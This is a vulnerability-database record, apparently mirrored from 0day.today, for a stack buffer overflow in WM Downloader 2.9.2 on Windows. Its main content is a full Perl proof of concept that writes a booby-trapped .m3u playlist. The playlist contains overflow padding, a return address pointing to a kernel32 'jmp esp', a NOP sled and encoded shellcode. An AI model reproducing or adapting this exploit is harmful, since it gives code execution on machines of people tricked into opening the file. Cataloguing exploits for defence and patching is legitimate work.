Description
Exploit for windows platform in category local exploits
{"id": "1337DAY-ID-12971", "type": "zdt", "bulletinFamily": "exploit", "title": "WM Downloader 2.9.2 Stack Buffer Overflow", "description": "Exploit for windows platform in category local exploits", "published": "2010-06-25T00:00:00", "modified": "2010-06-25T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://0day.today/exploit/description/12971", "reporter": "MadjiX", "references": [], "cvelist": [], "immutableFields": [], "lastseen": "2018-01-06T09:03:18", "viewCount": 8, "enchantments": {"score": {"value": 0.7, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.7}, "sourceHref": "https://0day.today/exploit/12971", "sourceData": "=========================================\r\nWM Downloader 2.9.2 Stack Buffer Overflow\r\n=========================================\r\n\r\n\r\n#!/usr/bin/perl\r\n#WM Downloader 2.9.2 stack buffer overflow\r\n#win sp3\r\n#By Madjix Dz8[at]hotmail[dot]com\r\nmy $hd = \"#EXTM3U\\n\";\r\nmy $jnk=\"http://\".\"\\x41\" x 257 ;\r\nmy $eip = \"\\x7B\\x46\\x86\\x7C\" ; # 0x7C86467B jmp esp kernel 32\r\nmy $shellcode = \"\\x90\" x 25;\r\n$shellcode = $shellcode\r\n.\"\\xdb\\xc0\\x31\\xc9\\xbf\\x7c\\x16\\x70\\xcc\\xd9\\x74\\x24\\xf4\\xb1\" .\r\n\"\\x1e\\x58\\x31\\x78\\x18\\x83\\xe8\\xfc\\x03\\x78\\x68\\xf4\\x85\\x30\" .\r\n\"\\x78\\xbc\\x65\\xc9\\x78\\xb6\\x23\\xf5\\xf3\\xb4\\xae\\x7d\\x02\\xaa\" .\r\n\"\\x3a\\x32\\x1c\\xbf\\x62\\xed\\x1d\\x54\\xd5\\x66\\x29\\x21\\xe7\\x96\" .\r\n\"\\x60\\xf5\\x71\\xca\\x06\\x35\\xf5\\x14\\xc7\\x7c\\xfb\\x1b\\x05\\x6b\" .\r\n\"\\xf0\\x27\\xdd\\x48\\xfd\\x22\\x38\\x1b\\xa2\\xe8\\xc3\\xf7\\x3b\\x7a\" .\r\n\"\\xcf\\x4c\\x4f\\x23\\xd3\\x53\\xa4\\x57\\xf7\\xd8\\x3b\\x83\\x8e\\x83\" .\r\n\"\\x1f\\x57\\x53\\x64\\x51\\xa1\\x33\\xcd\\xf5\\xc6\\xf5\\xc1\\x7e\\x98\" .\r\n\"\\xf5\\xaa\\xf1\\x05\\xa8\\x26\\x99\\x3d\\x3b\\xc0\\xd9\\xfe\\x51\\x61\" .\r\n\"\\xb6\\x0e\\x2f\\x85\\x19\\x87\\xb7\\x78\\x2f\\x59\\x90\\x7b\\xd7\\x05\" .\r\n\"\\x7f\\xe8\\x7b\\xca\";\r\nmy $jnk2= \"\\x41\" x 50000 ;\r\nopen(MYFILE,'>>MadjiX.m3u');\r\n \r\nprint MYFILE $hd.$jnk.$eip.$preshellcode.$shellcode.$jnk2;\r\n \r\nclose(MYFILE);\r\n\r\n\n\n# 0day.today [2018-01-06] #", "_state": {"dependencies": 1647620648, "score": 1659766679, "epss": 1678811959}}
{}